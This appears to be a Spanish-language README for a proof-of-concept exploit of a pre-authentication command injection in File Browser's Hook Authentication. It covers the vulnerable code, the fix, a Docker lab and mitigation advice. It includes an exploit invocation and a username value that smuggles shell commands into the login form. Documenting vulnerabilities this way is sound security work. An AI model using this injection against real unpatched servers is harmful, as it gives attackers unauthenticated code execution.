Exploit de prueba de concepto para CVE-2026-54088, una inyección de comandos del sistema operativo previa a la autenticación en File Browser <=2.63.5. Demuestra la inyección de shell a través de Hook Authentication para lograr la ejecución remota de código.
Este repositorio es una prueba de concepto (PoC) para la vulnerabilidad crítica de inyección de comandos del sistema operativo CVE-2026-54088 presente en File Browser versión <= 2.63.5.
Esta vulnerabilidad reside en la funcionalidad Hook Authentication. Si un administrador configura File Browser para autenticar usuarios mediante un comando externo, los campos username y password enviados durante el inicio de sesión se expanden en la cadena de comando configurada mediante os.Expand() sin escape. Un atacante remoto no autenticado puede inyectar sintaxis de shell a través de la solicitud de inicio de sesión y ejecutar comandos arbitrarios antes de que la autenticación tenga éxito.
Descubridor: saku0512 (https://github.com/Saku0512)
Este proyecto tiene fines exclusivamente educativos y de pruebas de seguridad éticas.
El autor no se hace responsable por el mal uso, daños o actividades ilegales derivadas de esta herramienta. El acceso no autorizado a sistemas informáticos es ilegal. Utilice este software únicamente en entornos donde tenga permiso explícito.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() divide el comando de autenticación configurado y expande los marcadores de posición de las credenciales utilizando datos de solicitud controlables por el atacante.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
Si el comando hook está configurado como:
sh -c $USERNAME
Cuando un atacante envía un username como:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
Durante el intento de inicio de sesión, el servidor ejecuta un script de shell controlado por el atacante. No se necesita una cuenta o contraseña válida.
Este problema se corrigió en el commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f eliminando el reemplazo de credenciales en la cadena de comando del hook. El comando hook se ejecuta tal como está configurado, y las credenciales solo se pasan como variables de entorno.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
El procesamiento vulnerable eliminado era un bucle os.Expand() que reescribía los argumentos del comando con credenciales controladas por el atacante antes de llamar a exec.Command(). Esta corrección también incluye pruebas de regresión que verifican que el comando hook no puede ser modificado por credenciales inyectadas y que USERNAME/PASSWORD siguen disponibles para el hook a través de variables de entorno.
Inicie el entorno vulnerable de File Browser. El servicio filebrowser-init crea la base de datos y habilita Hook Authentication con un comando vulnerable.
docker compose up -d
El objetivo está disponible en la siguiente URL:
http://localhost:8080
Ejecute el script de exploit desde este directorio.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
Este exploit envía una única solicitud de inicio de sesión no autenticada a /api/login. Se espera que la autenticación falle, pero el comando inyectado se ejecuta antes.
Abra la pantalla de inicio de sesión de File Browser en su navegador.
http://localhost:8080
Ingrese los siguientes valores en el formulario de inicio de sesión y haga clic en el botón de inicio de sesión.
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
El inicio de sesión falla, pero la ejecución del comando Hook Authentication ocurre antes de que se devuelva el resultado de la autenticación. Con el siguiente comando, confirme que el archivo marcador fue creado en el contenedor mediante la operación GUI.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
Si el archivo existe, se confirma que la RCE previa a la autenticación también se produjo desde la operación de inicio de sesión en la GUI.
Confirme que el comando se ejecutó dentro del contenedor de File Browser.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
Si el archivo existe, se confirma la RCE previa a la autenticación.
docker compose down -v
Actualice File Browser a la versión 2.63.6 o superior.
Las credenciales no deben incrustarse en cadenas de comandos shell, sino pasarse únicamente como variables de entorno al comando hook. Para otras rutas de ejecución de comandos, se debe evitar la evaluación del shell o realizar una separación estricta de argumentos y escape.